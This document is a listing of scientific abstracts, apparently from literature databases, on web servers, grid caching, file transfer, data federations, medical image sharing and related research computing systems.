We describe a prototype grid proxy cache system developed at Nikhef, motivated by a desire to construct the first building block of a future https-based Content Delivery Network for grid infrastructures. Two goals drove the project: firstly to provide a “native view” of the grid for desktop-type users, and secondly to improve performance for physics-analysis type use cases, where multiple passes are made over the same set of data (residing on the grid). We further constrained the design by requiring that the system should be made of standard components wherever possible. The prototype that emerged from this exercise is a horizontally-scalable, cooperating system of web server / cache nodes, fronted by a customized webDAV server. The webDAV server is custom only in the sense that it supports http redirects (providing horizontal scaling) and that the authentication module has, as back end, a proxy delegation chain that can be used by the cache nodes to retrieve files from the grid. The prototype was deployed at Nikhef and tested at a scale of several terabytes of data and approximately one hundred fast cores of computing. Both small and large files were tested, in a number of scenarios, and with various numbers of cache nodes, in order to understand the scaling properties of the system. For properly-dimensioned cache-node hardware, the system showed speedup of several integer factors for the analysis-type use cases. These results and others are presented and discussed.

Escape Excel: A tool for preventing gene symbol and accession conversion errors.

PubMed

Welsh, Eric A; Stewart, Paul A; Kuenzi, Brent M; Eschrich, James A

2017-01-01

Microsoft Excel automatically converts certain gene symbols, database accessions, and other alphanumeric text into dates, scientific notation, and other numerical representations. These conversions lead to subsequent, irreversible, corruption of the imported text. A recent survey of popular genomic literature estimates that one-fifth of all papers with supplementary gene lists suffer from this issue. Here, we present an open-source tool, Escape Excel, which prevents these erroneous conversions by generating an escaped text file that can be safely imported into Excel. Escape Excel is implemented in a variety of formats (http://www.github.com/pstew/escape_excel), including a command line based Perl script, a Windows-only Excel Add-In, an OS X drag-and-drop application, a simple web-server, and as a Galaxy web environment interface. Test server implementations are accessible as a Galaxy interface (http://apostl.moffitt.org) and simple non-Galaxy web server (http://apostl.moffitt.org:8000/). Escape Excel detects and escapes a wide variety of problematic text strings so that they are not erroneously converted into other representations upon importation into Excel. Examples of problematic strings include date-like strings, time-like strings, leading zeroes in front of numbers, and long numeric and alphanumeric identifiers that should not be automatically converted into scientific notation. It is hoped that greater awareness of these potential data corruption issues, together with diligent escaping of text files prior to importation into Excel, will help to reduce the amount of Excel-corrupted data in scientific analyses and publications.

Peer-to-peer architecture for multi-departmental distributed PACS

NASA Astrophysics Data System (ADS)

Rosset, Antoine; Heuberger, Joris; Pysher, Lance; Ratib, Osman

2006-03-01

We have elected to explore peer-to-peer technology as an alternative to centralized PACS architecture for the increasing requirements for wide access to images inside and outside a radiology department. The goal being to allow users across the enterprise to access any study anytime without the need for prefetching or routing of images from central archive. Images can be accessed between different workstations and local storage nodes. We implemented "bonjour" a new remote file access technology developed by Apple allowing applications to share data and files remotely with optimized data access and data transfer. Our Open-source image display platform called OsiriX was adapted to allow sharing of local DICOM images through direct access of each local SQL database to be accessible from any other OsiriX workstation over the network. A server version of Osirix Core Data database also allows to access distributed archives servers in the same way. The infrastructure implemented allows fast and efficient access to any image anywhere anytime independently from the actual physical location of the data. It also allows benefiting from the performance of distributed low-cost and high capacity storage servers that can provide efficient caching of PACS data that was found to be 10 to 20 x faster that accessing the same date from the central PACS archive. It is particularly suitable for large hospitals and academic environments where clinical conferences, interdisciplinary discussions and successive sessions of image processing are often part of complex workflow or patient management and decision making.

eWaterCycle visualisation. combining the strength of NetCDF and Web Map Service: ncWMS

NASA Astrophysics Data System (ADS)

Hut, R.; van Meersbergen, M.; Drost, N.; Van De Giesen, N.

2016-12-01

As a result of the eWatercycle global hydrological forecast we have created Cesium-ncWMS, a web application based on ncWMS and Cesium. ncWMS is a server side application capable of reading any NetCDF file written using the Climate and Forecasting (CF) conventions, and making the data available as a Web Map Service(WMS). ncWMS automatically determines available variables in a file, and creates maps colored according to map data and a user selected color scale. Cesium is a Javascript 3D virtual Globe library. It uses WebGL for rendering, which makes it very fast, and it is capable of displaying a wide variety of data types such as vectors, 3D models, and 2D maps. The forecast results are automatically uploaded to our web server running ncWMS. In turn, the web application can be used to change the settings for color maps and displayed data. The server uses the settings provided by the web application, together with the data in NetCDF to provide WMS image tiles, time series data and legend graphics to the Cesium-NcWMS web application. The user can simultaneously zoom in to the very high resolution forecast results anywhere on the world, and get time series data for any point on the globe. The Cesium-ncWMS visualisation combines a global overview with local relevant information in any browser. See the visualisation live at forecast.ewatercycle.org

The Open Microscopy Environment: open image informatics for the biological sciences

NASA Astrophysics Data System (ADS)

Blackburn, Colin; Allan, Chris; Besson, Sébastien; Burel, Jean-Marie; Carroll, Mark; Ferguson, Richard K.; Flynn, Helen; Gault, David; Gillen, Kenneth; Leigh, Roger; Leo, Simone; Li, Simon; Lindner, Dominik; Linkert, Melissa; Moore, Josh; Moore, William J.; Ramalingam, Balaji; Rozbicki, Emil; Rustici, Gabriella; Tarkowska, Aleksandra; Walczysko, Petr; Williams, Eleanor; Swedlow, Jason R.

2016-07-01

Despite significant advances in biological imaging and analysis, major informatics challenges remain unsolved: file formats are proprietary, storage and analysis facilities are lacking, as are standards for sharing image data and results. While the open FITS file format is ubiquitous in astronomy, astronomical imaging shares many challenges with biological imaging, including the need to share large image sets using secure, cross-platform APIs, and the need for scalable applications for processing and visualization. The Open Microscopy Environment (OME) is an open-source software framework developed to address these challenges. OME tools include: an open data model for multidimensional imaging (OME Data Model); an open file format (OME-TIFF) and library (Bio-Formats) enabling free access to images (5D+) written in more than 145 formats from many imaging domains, including FITS; and a data management server (OMERO). The Java-based OMERO client-server platform comprises an image metadata store, an image repository, visualization and analysis by remote access, allowing sharing and publishing of image data. OMERO provides a means to manage the data through a multi-platform API. OMERO's model-based architecture has enabled its extension into a range of imaging domains, including light and electron microscopy, high content screening, digital pathology and recently into applications using non-image data from clinical and genomic studies. This is made possible using the Bio-Formats library. The current release includes a single mechanism for accessing image data of all types, regardless of original file format, via Java, C/C++ and Python and a variety of applications and environments (e.g. ImageJ, Matlab and R).

Use of a secure Internet Web site for collaborative medical research.

PubMed

Marshall, W W; Haley, R W

2000-10-11

Researchers who collaborate on clinical research studies from diffuse locations need a convenient, inexpensive, secure way to record and manage data. The Internet, with its World Wide Web, provides a vast network that enables researchers with diverse types of computers and operating systems anywhere in the world to log data through a common interface. Development of a Web site for scientific data collection can be organized into 10 steps, including planning the scientific database, choosing a database management software system, setting up database tables for each collaborator's variables, developing the Web site's screen layout, choosing a middleware software system to tie the database software to the Web site interface, embedding data editing and calculation routines, setting up the database on the central server computer, obtaining a unique Internet address and name for the Web site, applying security measures to the site, and training staff who enter data. Ensuring the security of an Internet database requires limiting the number of people who have access to the server, setting up the server on a stand-alone computer, requiring user-name and password authentication for server and Web site access, installing a firewall computer to prevent break-ins and block bogus information from reaching the server, verifying the identity of the server and client computers with certification from a certificate authority, encrypting information sent between server and client computers to avoid eavesdropping, establishing audit trails to record all accesses into the Web site, and educating Web site users about security techniques. When these measures are carefully undertaken, in our experience, information for scientific studies can be collected and maintained on Internet databases more efficiently and securely than through conventional systems of paper records protected by filing cabinets and locked doors. JAMA. 2000;284:1843-1849.

Downsizer - A Graphical User Interface-Based Application for Browsing, Acquiring, and Formatting Time-Series Data for Hydrologic Modeling

USGS Publications Warehouse

Ward-Garrison, Christian; Markstrom, Steven L.; Hay, Lauren E.

2009-01-01

The U.S. Geological Survey Downsizer is a computer application that selects, downloads, verifies, and formats station-based time-series data for environmental-resource models, particularly the Precipitation-Runoff Modeling System. Downsizer implements the client-server software architecture. The client presents a map-based, graphical user interface that is intuitive to modelers; the server provides streamflow and climate time-series data from over 40,000 measurement stations across the United States. This report is the Downsizer user's manual and provides (1) an overview of the software design, (2) installation instructions, (3) a description of the graphical user interface, (4) a description of selected output files, and (5) troubleshooting information.

Development of 3D browsing and interactive web system

NASA Astrophysics Data System (ADS)

Shi, Xiaonan; Fu, Jian; Jin, Chaolin

2017-09-01

In the current market, users need to download specific software or plug-ins to browse the 3D model, and browsing the system may be unstable, and it cannot be 3D model interaction issues In order to solve this problem, this paper presents a solution to the interactive browsing of the model in the server-side parsing model, and when the system is applied, the user only needs to input the system URL and upload the 3D model file to operate the browsing The server real-time parsing 3D model, the interactive response speed, these completely follows the user to walk the minimalist idea, and solves the current market block 3D content development question.

Experimental Analysis of File Transfer Rates over Wide-Area Dedicated Connections

DOE Office of Scientific and Technical Information (OSTI.GOV)

Rao, Nageswara S.; Liu, Qiang; Sen, Satyabrata

2016-12-01

File transfers over dedicated connections, supported by large parallel file systems, have become increasingly important in high-performance computing and big data workflows. It remains a challenge to achieve peak rates for such transfers due to the complexities of file I/O, host, and network transport subsystems, and equally importantly, their interactions. We present extensive measurements of disk-to-disk file transfers using Lustre and XFS file systems mounted on multi-core servers over a suite of 10 Gbps emulated connections with 0-366 ms round trip times. Our results indicate that large buffer sizes and many parallel flows do not always guarantee high transfer rates.more » Furthermore, large variations in the measured rates necessitate repeated measurements to ensure confidence in inferences based on them. We propose a new method to efficiently identify the optimal joint file I/O and network transport parameters using a small number of measurements. We show that for XFS and Lustre with direct I/O, this method identifies configurations achieving 97% of the peak transfer rate while probing only 12% of the parameter space.« less

Accessing Data Federations with CVMFS

DOE PAGES

Weitzel, Derek; Bockelman, Brian; Dykstra, Dave; ...

2017-11-23

Data federations have become an increasingly common tool for large collaborations such as CMS and Atlas to efficiently distribute large data files. Unfortunately, these typically are implemented with weak namespace semantics and a non-POSIX API. On the other hand, CVMFS has provided a POSIX-compliant read-only interface for use cases with a small working set size (such as software distribution). The metadata required for the CVMFS POSIX interface is distributed through a caching hierarchy, allowing it to scale to the level of about a hundred thousand hosts. In this paper, we will describe our contributions to CVMFS that merges the datamore » scalability of XRootD-based data federations (such as AAA) with metadata scalability and POSIX interface of CVMFS. We modified CVMFS so it can serve unmodified files without copying them to the repository server. CVMFS 2.2.0 is also able to redirect requests for data files to servers outside of the CVMFS content distribution network. Finally, we added the ability to manage authorization and authentication using security credentials such as X509 proxy certificates. We combined these modifications with the OSGs StashCache regional XRootD caching infrastructure to create a cached data distribution network. Here, we will show performance metrics accessing the data federation through CVMFS compared to direct data federation access. Additionally, we will discuss the improved user experience of providing access to a data federation through a POSIX filesystem.« less

Accessing Data Federations with CVMFS

DOE Office of Scientific and Technical Information (OSTI.GOV)

Weitzel, Derek; Bockelman, Brian; Dykstra, Dave

Data federations have become an increasingly common tool for large collaborations such as CMS and Atlas to efficiently distribute large data files. Unfortunately, these typically are implemented with weak namespace semantics and a non-POSIX API. On the other hand, CVMFS has provided a POSIX-compliant read-only interface for use cases with a small working set size (such as software distribution). The metadata required for the CVMFS POSIX interface is distributed through a caching hierarchy, allowing it to scale to the level of about a hundred thousand hosts. In this paper, we will describe our contributions to CVMFS that merges the datamore » scalability of XRootD-based data federations (such as AAA) with metadata scalability and POSIX interface of CVMFS. We modified CVMFS so it can serve unmodified files without copying them to the repository server. CVMFS 2.2.0 is also able to redirect requests for data files to servers outside of the CVMFS content distribution network. Finally, we added the ability to manage authorization and authentication using security credentials such as X509 proxy certificates. We combined these modifications with the OSGs StashCache regional XRootD caching infrastructure to create a cached data distribution network. Here, we will show performance metrics accessing the data federation through CVMFS compared to direct data federation access. Additionally, we will discuss the improved user experience of providing access to a data federation through a POSIX filesystem.« less

LHCb Online event processing and filtering

NASA Astrophysics Data System (ADS)

Alessio, F.; Barandela, C.; Brarda, L.; Frank, M.; Franek, B.; Galli, D.; Gaspar, C.; Herwijnen, E. v.; Jacobsson, R.; Jost, B.; Köstner, S.; Moine, G.; Neufeld, N.; Somogyi, P.; Stoica, R.; Suman, S.

2008-07-01

The first level trigger of LHCb accepts one million events per second. After preprocessing in custom FPGA-based boards these events are distributed to a large farm of PC-servers using a high-speed Gigabit Ethernet network. Synchronisation and event management is achieved by the Timing and Trigger system of LHCb. Due to the complex nature of the selection of B-events, which are the main interest of LHCb, a full event-readout is required. Event processing on the servers is parallelised on an event basis. The reduction factor is typically 1/500. The remaining events are forwarded to a formatting layer, where the raw data files are formed and temporarily stored. A small part of the events is also forwarded to a dedicated farm for calibration and monitoring. The files are subsequently shipped to the CERN Tier0 facility for permanent storage and from there to the various Tier1 sites for reconstruction. In parallel files are used by various monitoring and calibration processes running within the LHCb Online system. The entire data-flow is controlled and configured by means of a SCADA system and several databases. After an overview of the LHCb data acquisition and its design principles this paper will emphasize the LHCb event filter system, which is now implemented using the final hardware and will be ready for data-taking for the LHC startup. Control, configuration and security aspects will also be discussed.

Design of batch audio/video conversion platform based on JavaEE

NASA Astrophysics Data System (ADS)

Cui, Yansong; Jiang, Lianpin

2018-03-01

With the rapid development of digital publishing industry, the direction of audio / video publishing shows the diversity of coding standards for audio and video files, massive data and other significant features. Faced with massive and diverse data, how to quickly and efficiently convert to a unified code format has brought great difficulties to the digital publishing organization. In view of this demand and present situation in this paper, basing on the development architecture of Sptring+SpringMVC+Mybatis, and combined with the open source FFMPEG format conversion tool, a distributed online audio and video format conversion platform with a B/S structure is proposed. Based on the Java language, the key technologies and strategies designed in the design of platform architecture are analyzed emphatically in this paper, designing and developing a efficient audio and video format conversion system, which is composed of “Front display system”, "core scheduling server " and " conversion server ". The test results show that, compared with the ordinary audio and video conversion scheme, the use of batch audio and video format conversion platform can effectively improve the conversion efficiency of audio and video files, and reduce the complexity of the work. Practice has proved that the key technology discussed in this paper can be applied in the field of large batch file processing, and has certain practical application value.

Accessing Data Federations with CVMFS

NASA Astrophysics Data System (ADS)

Weitzel, Derek; Bockelman, Brian; Dykstra, Dave; Blomer, Jakob; Meusel, Ren

2017-10-01

Data federations have become an increasingly common tool for large collaborations such as CMS and Atlas to efficiently distribute large data files. Unfortunately, these typically are implemented with weak namespace semantics and a non-POSIX API. On the other hand, CVMFS has provided a POSIX-compliant read-only interface for use cases with a small working set size (such as software distribution). The metadata required for the CVMFS POSIX interface is distributed through a caching hierarchy, allowing it to scale to the level of about a hundred thousand hosts. In this paper, we will describe our contributions to CVMFS that merges the data scalability of XRootD-based data federations (such as AAA) with metadata scalability and POSIX interface of CVMFS. We modified CVMFS so it can serve unmodified files without copying them to the repository server. CVMFS 2.2.0 is also able to redirect requests for data files to servers outside of the CVMFS content distribution network. Finally, we added the ability to manage authorization and authentication using security credentials such as X509 proxy certificates. We combined these modifications with the OSGs StashCache regional XRootD caching infrastructure to create a cached data distribution network. We will show performance metrics accessing the data federation through CVMFS compared to direct data federation access. Additionally, we will discuss the improved user experience of providing access to a data federation through a POSIX filesystem.

Radiology teaching file cases on the World Wide Web.

PubMed

Scalzetti, E M

1997-08-01

The presentation of a radiographic teaching file on the World Wide Web can be enhanced by attending to principles of web design. Chief among these are appropriate control of page layout, minimization of the time required to download a page from the remote server, and provision for navigation within and among the web pages that constitute the site. Page layout is easily accomplished by the use of tables; column widths can be fixed to maintain an acceptable line length for text. Downloading time is minimized by rigorous editing and by optimal compression of image files; beyond this, techniques like preloading of images and specification of image width and height are also helpful. Navigation controls should be clear, consistent, and readily available.

Using a Java Web-based Graphical User Interface to access the SOHO Data Arch ive

NASA Astrophysics Data System (ADS)

Scholl, I.; Girard, Y.; Bykowski, A.

This paper presents the architecture of a Java web-based graphical interface dedicated to the access of the SOHO Data archive. This application allows local and remote users to search in the SOHO data catalog and retrieve the SOHO data files from the archive. It has been developed at MEDOC (Multi-Experiment Data and Operations Centre), located at the Institut d'Astrophysique Spatiale (Orsay, France), which is one of the European Archives for the SOHO data. This development is part of a joint effort between ESA, NASA and IAS in order to implement long term archive systems for the SOHO data. The software architecture is built as a client-server application using Java language and SQL above a set of components such as an HTTP server, a JDBC gateway, a RDBMS server, a data server and a Web browser. Since HTML pages and CGI scripts are not powerful enough to allow user interaction during a multi-instrument catalog search, this type of requirement enforces the choice of Java as the main language. We also discuss performance issues, security problems and portability on different Web browsers and operating syste ms.

PELE web server: atomistic study of biomolecular systems at your fingertips.

PubMed

Madadkar-Sobhani, Armin; Guallar, Victor

2013-07-01

PELE, Protein Energy Landscape Exploration, our novel technology based on protein structure prediction algorithms and a Monte Carlo sampling, is capable of modelling the all-atom protein-ligand dynamical interactions in an efficient and fast manner, with two orders of magnitude reduced computational cost when compared with traditional molecular dynamics techniques. PELE's heuristic approach generates trial moves based on protein and ligand perturbations followed by side chain sampling and global/local minimization. The collection of accepted steps forms a stochastic trajectory. Furthermore, several processors may be run in parallel towards a collective goal or defining several independent trajectories; the whole procedure has been parallelized using the Message Passing Interface. Here, we introduce the PELE web server, designed to make the whole process of running simulations easier and more practical by minimizing input file demand, providing user-friendly interface and producing abstract outputs (e.g. interactive graphs and tables). The web server has been implemented in C++ using Wt (http://www.webtoolkit.eu) and MySQL (http://www.mysql.com). The PELE web server, accessible at http://pele.bsc.es, is free and open to all users with no login requirement.

A web-based approach for electrocardiogram monitoring in the home.

PubMed

Magrabi, F; Lovell, N H; Celler, B G

1999-05-01

A Web-based electrocardiogram (ECG) monitoring service in which a longitudinal clinical record is used for management of patients, is described. The Web application is used to collect clinical data from the patient's home. A database on the server acts as a central repository where this clinical information is stored. A Web browser provides access to the patient's records and ECG data. We discuss the technologies used to automate the retrieval and storage of clinical data from a patient database, and the recording and reviewing of clinical measurement data. On the client's Web browser, ActiveX controls embedded in the Web pages provide a link between the various components including the Web server, Web page, the specialised client side ECG review and acquisition software, and the local file system. The ActiveX controls also implement FTP functions to retrieve and submit clinical data to and from the server. An intelligent software agent on the server is activated whenever new ECG data is sent from the home. The agent compares historical data with newly acquired data. Using this method, an optimum patient care strategy can be evaluated, a summarised report along with reminders and suggestions for action is sent to the doctor and patient by email.

SciServer: An Online Collaborative Environment for Big Data in Research and Education

NASA Astrophysics Data System (ADS)

Raddick, Jordan; Souter, Barbara; Lemson, Gerard; Taghizadeh-Popp, Manuchehr

2017-01-01

For the past year, SciServer Compute (http://compute.sciserver.org) has offered access to big data resources running within server-side Docker containers. Compute has allowed thousands of researchers to bring advanced analysis to big datasets like the Sloan Digital Sky Survey and others, while keeping the analysis close to the data for better performance and easier read/write access. SciServer Compute is just one part of the SciServer system being developed at Johns Hopkins University, which provides an easy-to-use collaborative research environment for astronomy and many other sciences.SciServer enables these collaborative research strategies using Jupyter notebooks, in which users can write their own Python and R scripts and execute them on the same server as the data. We have written special-purpose libraries for querying, reading, and writing data. Intermediate results can be stored in large scratch space (hundreds of TBs) and analyzed directly from within Python or R with state-of-the-art visualization and machine learning libraries. Users can store science-ready results in their permanent allocation on SciDrive, a Dropbox-like system for sharing and publishing files.SciServer Compute’s virtual research environment has grown with the addition of task management and access control functions, allowing collaborators to share both data and analysis scripts securely across the world. These features also open up new possibilities for education, allowing instructors to share datasets with students and students to write analysis scripts to share with their instructors. We are leveraging these features into a new system called “SciServer Courseware,” which will allow instructors to share assignments with their students, allowing students to engage with big data in new ways.SciServer has also expanded to include more datasets beyond the Sloan Digital Sky Survey. A part of that growth has been the addition of the SkyQuery component, which allows for simple, fast cross-matching between very large astronomical datasets.Demos, documentation, and more information about all these resources can be found at www.sciserver.org.

An implementation of wireless medical image transmission system on mobile devices.

PubMed

Lee, SangBock; Lee, Taesoo; Jin, Gyehwan; Hong, Juhyun

2008-12-01

The advanced technology of computing system was followed by the rapid improvement of medical instrumentation and patient record management system. The typical examples are hospital information system (HIS) and picture archiving and communication system (PACS), which computerized the management procedure of medical records and images in hospital. Because these systems were built and used in hospitals, doctors out of hospital have problems to access them immediately on emergent cases. To solve these problems, this paper addressed the realization of system that could transmit the images acquired by medical imaging systems in hospital to the remote doctors' handheld PDA's using CDMA cellular phone network. The system consists of server and PDA. The server was developed to manage the accounts of doctors and patients and allocate the patient images to each doctor. The PDA was developed to display patient images through remote server connection. To authenticate the personal user, remote data access (RDA) method was used in PDA accessing the server database and file transfer protocol (FTP) was used to download patient images from the remove server. In laboratory experiments, it was calculated to take ninety seconds to transmit thirty images with 832 x 488 resolution and 24 bit depth and 0.37 Mb size. This result showed that the developed system has no problems for remote doctors to receive and review the patient images immediately on emergent cases.

Near Real Time Processing Chain for Suomi NPP Satellite Data

NASA Astrophysics Data System (ADS)

Monsorno, Roberto; Cuozzo, Giovanni; Costa, Armin; Mateescu, Gabriel; Ventura, Bartolomeo; Zebisch, Marc

2014-05-01

Since 2009, the EURAC satellite receiving station, located at Corno del Renon, in a free obstacle site at 2260 m a.s.l., has been acquiring data from Aqua and Terra NASA satellites equipped with Moderate Resolution Imaging Spectroradiometer (MODIS) sensors. The experience gained with this local ground segmenthas given the opportunity of adapting and modifying the processing chain for MODIS data to the Suomi NPP, the natural successor to Terra and Aqua satellites. The processing chain, initially implemented by mean of a proprietary system supplied by Seaspace and Advanced Computer System, was further developed by EURAC's Institute for Applied Remote Sensing engineers. Several algorithms have been developed using MODIS and Visible Infrared Imaging Radiometer Suite (VIIRS) data to produce Snow Cover, Particulate Matter estimation and Meteo maps. These products are implemented on a common processor structure based on the use of configuration files and a generic processor. Data and products have then automatically delivered to the customers such as the Autonomous Province of Bolzano-Civil Protection office. For the processing phase we defined two goals: i) the adaptation and implementation of the products already available for MODIS (and possibly new ones) to VIIRS, that is one of the sensors onboard Suomi NPP; ii) the use of an open source processing chain in order to process NPP data in Near Real Time, exploiting the knowledge we acquired on parallel computing. In order to achieve the second goal, the S-NPP data received and ingested are sent as input to RT-STPS (Real-time Software Telemetry Processing System) software developed by the NASA Direct Readout Laboratory 1 (DRL) that gives as output RDR files (Raw Data Record) for VIIRS, ATMS (Advanced Technology Micorwave Sounder) and CrIS (Cross-track Infrared Sounder)sensors. RDR are then transferred to a server equipped with CSPP2 (Community Satellite Processing Package) software developed by the University of Wisconsin. CSPP subdivides the input file in granules, making possible the use of parallel computing, and produces SDR (Science Data Record) and some EDR (Environmental Data Record) products. The integration with the EDRs not yet available with CSPP is realized with the use of SPAs (Science Processing Algorithm) stand-alone version by DRL. The important result of this system consists in the possibility of processing data acquired by the EURAC antenna with open source software and delivering the SDRs, EDRs and higher level products developed internally by EURAC in near real time using a Data Exchange Server. By means of the parallelized CSPP, SDR data are currently available after about 7 minutes since the production of RDR, while we are currently implementing a strategy to get the best possible processing time for the EDRs products that are in principle not parallelizable. 1. http://directreadout.sci.gsfc.nasa.gov/ 2. http://cimss.ssec.wisc.edu/cspp/

Web usage data mining agent

NASA Astrophysics Data System (ADS)

Madiraju, Praveen; Zhang, Yanqing

2002-03-01

When a user logs in to a website, behind the scenes the user leaves his/her impressions, usage patterns and also access patterns in the web servers log file. A web usage mining agent can analyze these web logs to help web developers to improve the organization and presentation of their websites. They can help system administrators in improving the system performance. Web logs provide invaluable help in creating adaptive web sites and also in analyzing the network traffic analysis. This paper presents the design and implementation of a Web usage mining agent for digging in to the web log files.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Duro, Francisco Rodrigo; Garcia Blas, Javier; Isaila, Florin

This paper explores novel techniques for improving the performance of many-task workflows based on the Swift scripting language. We propose novel programmer options for automated distributed data placement and task scheduling. These options trigger a data placement mechanism used for distributing intermediate workflow data over the servers of Hercules, a distributed key-value store that can be used to cache file system data. We demonstrate that these new mechanisms can significantly improve the aggregated throughput of many-task workflows with up to 86x, reduce the contention on the shared file system, exploit the data locality, and trade off locality and load balance.

The SubCons webserver: A user friendly web interface for state-of-the-art subcellular localization prediction.

PubMed

Salvatore, M; Shu, N; Elofsson, A

2018-01-01

SubCons is a recently developed method that predicts the subcellular localization of a protein. It combines predictions from four predictors using a Random Forest classifier. Here, we present the user-friendly web-interface implementation of SubCons. Starting from a protein sequence, the server rapidly predicts the subcellular localizations of an individual protein. In addition, the server accepts the submission of sets of proteins either by uploading the files or programmatically by using command line WSDL API scripts. This makes SubCons ideal for proteome wide analyses allowing the user to scan a whole proteome in few days. From the web page, it is also possible to download precalculated predictions for several eukaryotic organisms. To evaluate the performance of SubCons we present a benchmark of LocTree3 and SubCons using two recent mass-spectrometry based datasets of mouse and drosophila proteins. The server is available at http://subcons.bioinfo.se/. © 2017 The Protein Society.

A Connection Admission Control Method for Web Server Systems

NASA Astrophysics Data System (ADS)

Satake, Shinsuke; Inai, Hiroshi; Saito, Tomoya; Arai, Tsuyoshi

Most browsers establish multiple connections and download files in parallel to reduce the response time. On the other hand, a web server limits the total number of connections to prevent from being overloaded. That could decrease the response time, but would increase the loss probability, the probability of which a newly arriving client is rejected. This paper proposes a connection admission control method which accepts only one connection from a newly arriving client when the number of connections exceeds a threshold, but accepts new multiple connections when the number of connections is less than the threshold. Our method is aimed at reducing the response time by allowing as many clients as possible to establish multiple connections, and also reducing the loss probability. In order to reduce spending time to examine an adequate threshold for web server administrators, we introduce a procedure which approximately calculates the loss probability under a condition that the threshold is given. Via simulation, we validate the approximation and show effectiveness of the admission control.

Application of wireless networks-peer-to-peer information sharing

NASA Astrophysics Data System (ADS)

ellappan, Vijayan; chaki, suchismita; kumar, avn

2017-11-01

Peer to Peer communications and its applications have gotten to be ordinary construction modelling in the wired network environment. But then, they have not been successfully adjusted with the wireless environment. Unlike the traditional client-server framework, in a P2P framework, each node can play the role of client as well as server simultaneously and exchange data or information with others. We aim to design an application which can adapt to the wireless ad-hoc networks. Peer to Peer communication can help people to share their files (information, image, audio, video and so on) and communicate with each other without relying on a particular network infrastructure or limited data usage. Here there is a central server with the help of which, the peers will have the capability to get the information about the other peers in the network. Indeed, even without the Internet, devices have the potential to allow users to connect and communicate in a special way through short range remote protocols such Wi-Fi.

GUI implementation of image encryption and decryption using Open CV-Python script on secured TFTP protocol

NASA Astrophysics Data System (ADS)

Reddy, K. Rasool; Rao, Ch. Madhava

2018-04-01

Currently safety is one of the primary concerns in the transmission of images due to increasing the use of images within the industrial applications. So it's necessary to secure the image facts from unauthorized individuals. There are various strategies are investigated to secure the facts. In that encryption is certainly one of maximum distinguished method. This paper gives a sophisticated Rijndael (AES) algorithm to shield the facts from unauthorized humans. Here Exponential Key Change (EKE) concept is also introduced to exchange the key between client and server. The things are exchange in a network among client and server through a simple protocol is known as Trivial File Transfer Protocol (TFTP). This protocol is used mainly in embedded servers to transfer the data and also provide protection to the data if protection capabilities are integrated. In this paper, implementing a GUI environment for image encryption and decryption. All these experiments carried out on Linux environment the usage of Open CV-Python script.

Hierarchical storage of large volume of multidector CT data using distributed servers

NASA Astrophysics Data System (ADS)

Ratib, Osman; Rosset, Antoine; Heuberger, Joris; Bandon, David

2006-03-01

Multidector scanners and hybrid multimodality scanners have the ability to generate large number of high-resolution images resulting in very large data sets. In most cases, these datasets are generated for the sole purpose of generating secondary processed images and 3D rendered images as well as oblique and curved multiplanar reformatted images. It is therefore not essential to archive the original images after they have been processed. We have developed an architecture of distributed archive servers for temporary storage of large image datasets for 3D rendering and image processing without the need for long term storage in PACS archive. With the relatively low cost of storage devices it is possible to configure these servers to hold several months or even years of data, long enough for allowing subsequent re-processing if required by specific clinical situations. We tested the latest generation of RAID servers provided by Apple computers with a capacity of 5 TBytes. We implemented a peer-to-peer data access software based on our Open-Source image management software called OsiriX, allowing remote workstations to directly access DICOM image files located on the server through a new technology called "bonjour". This architecture offers a seamless integration of multiple servers and workstations without the need for central database or complex workflow management tools. It allows efficient access to image data from multiple workstation for image analysis and visualization without the need for image data transfer. It provides a convenient alternative to centralized PACS architecture while avoiding complex and time-consuming data transfer and storage.

Rapid Diagnostics of Onboard Sequences

NASA Technical Reports Server (NTRS)

Starbird, Thomas W.; Morris, John R.; Shams, Khawaja S.; Maimone, Mark W.

2012-01-01

Keeping track of sequences onboard a spacecraft is challenging. When reviewing Event Verification Records (EVRs) of sequence executions on the Mars Exploration Rover (MER), operators often found themselves wondering which version of a named sequence the EVR corresponded to. The lack of this information drastically impacts the operators diagnostic capabilities as well as their situational awareness with respect to the commands the spacecraft has executed, since the EVRs do not provide argument values or explanatory comments. Having this information immediately available can be instrumental in diagnosing critical events and can significantly enhance the overall safety of the spacecraft. This software provides auditing capability that can eliminate that uncertainty while diagnosing critical conditions. Furthermore, the Restful interface provides a simple way for sequencing tools to automatically retrieve binary compiled sequence SCMFs (Space Command Message Files) on demand. It also enables developers to change the underlying database, while maintaining the same interface to the existing applications. The logging capabilities are also beneficial to operators when they are trying to recall how they solved a similar problem many days ago: this software enables automatic recovery of SCMF and RML (Robot Markup Language) sequence files directly from the command EVRs, eliminating the need for people to find and validate the corresponding sequences. To address the lack of auditing capability for sequences onboard a spacecraft during earlier missions, extensive logging support was added on the Mars Science Laboratory (MSL) sequencing server. This server is responsible for generating all MSL binary SCMFs from RML input sequences. The sequencing server logs every SCMF it generates into a MySQL database, as well as the high-level RML file and dictionary name inputs used to create the SCMF. The SCMF is then indexed by a hash value that is automatically included in all command EVRs by the onboard flight software. Second, both the binary SCMF result and the RML input file can be retrieved simply by specifying the hash to a Restful web interface. This interface enables command line tools as well as large sophisticated programs to download the SCMF and RMLs on-demand from the database, enabling a vast array of tools to be built on top of it. One such command line tool can retrieve and display RML files, or annotate a list of EVRs by interleaving them with the original sequence commands. This software has been integrated with the MSL sequencing pipeline where it will serve sequences useful in diagnostics, debugging, and situational awareness throughout the mission.

Availability of software services for a hospital information system.

PubMed

Sakamoto, N

1998-03-01

Hospital information systems (HISs) are becoming more important and covering more parts in daily hospital operations as order-entry systems become popular and electronic charts are introduced. Thus, HISs today need to be able to provide necessary services for hospital operations for a 24-h day, 365 days a year. The provision of services discussed here does not simply mean the availability of computers, in which all that matters is that the computer is functioning. It means the provision of necessary information for hospital operations by the computer software, and we will call it the availability of software services. HISs these days are mostly client-server systems. To increase availability of software services in these systems, it is not enough to just use system structures that are highly reliable in existing host-centred systems. Four main components which support availability of software services are network systems, client computers, server computers, and application software. In this paper, we suggest how to structure these four components to provide the minimum requested software services even if a part of the system stops to function. The network system should be double-protected in stratus using Asynchronous Transfer Mode (ATM) as its base network. Client computers should be fat clients with as much application logic as possible, and reference information which do not require frequent updates (master files, for example) should be replicated in clients. It would be best if all server computers could be double-protected. However, if that is physically impossible, one database file should be made accessible by several server computers. Still, at least the basic patients' information and the latest clinical records should be double-protected physically. Application software should be tested carefully before introduction. Different versions of the application software should always be kept and managed in case the new version has problems. If a hospital information system is designed and developed with these points in mind, it's availability of software services should increase greatly.

